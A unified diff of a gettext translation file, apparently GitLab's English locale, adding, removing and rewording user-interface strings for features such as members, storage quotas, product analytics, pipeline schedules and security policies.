msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr "Marked this %{noun} as ready."
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr "Marks this %{noun} as ready."
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,11 +26307,14 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr "Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr ""
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr "NEW"
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr "Opstrace endpoint for Error Tracking integration"
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr "Colour for added lines"
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "Select groups"
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr "Reply"
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr "Report your licence usage data to GitLab"
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,8 +36179,8 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
-msgstr ""
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
+msgstr "Key: Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgid "Runners|Filter projects"
msgstr ""
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
